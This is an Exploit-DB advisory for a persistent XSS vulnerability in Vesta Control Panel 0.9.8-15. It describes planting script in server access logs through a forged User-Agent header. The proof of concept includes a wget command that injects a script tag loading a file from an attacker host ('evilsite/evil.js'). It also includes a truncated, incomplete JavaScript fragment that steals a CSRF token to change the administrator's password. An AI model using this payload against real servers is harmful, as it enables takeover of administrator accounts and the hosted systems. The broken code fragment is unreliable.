Vesta Control Panel <= 0.9.8-15 - Persistent XSS Vulnerability

ID EDB-ID:39468
Type exploitdb
Reporter Necmettin COSKUN
Modified 2016-02-18T00:00:00


Vesta Control Panel. Webapps exploit for php platform

                                            # Exploit Title     :Vesta Control Panel <= 0.9.8-15 - Persistent XSS Vulnerability
# Vendor Homepage   :
# Version           :0.9.8-15
# Exploit Author    :Necmettin COSKUN @babayarisi 
# Blog              :
# Discovery date    :16/02/2016
# Tested on         :Fedora23 - Chrome/Firefox/Maxthon

We can use user-agent information to attack website like this. 
First of all we change our user-agent and add some dangerous javascript code ( XSS etc. ) 
and then we request to one of the website on target server then it is saved on access.log by server 
so when Administrator reads it the javascript code works that we added our user-agent information.

Poc Exploit
1.Prepare evil js file 

function csrfWithToken(url,hanimisToken,password){
	$.get(url, function(gelen) {
		var token = $(hanimisToken).attr("token");
//password = 1234567

2. Make a Get request with evil user-agent to victim server
wget --header="Accept: text/html" --user-agent="<script src='http://evilsite/evil.js'></script>" http://victimserver
3. We wait Administrator to read access.log that injected our evil.js
4. We log-in VestaCP via password we changed
Discovered by:
Necmettin COSKUN  |GrisapkaGuvenlikGrubu|4ewa2getha!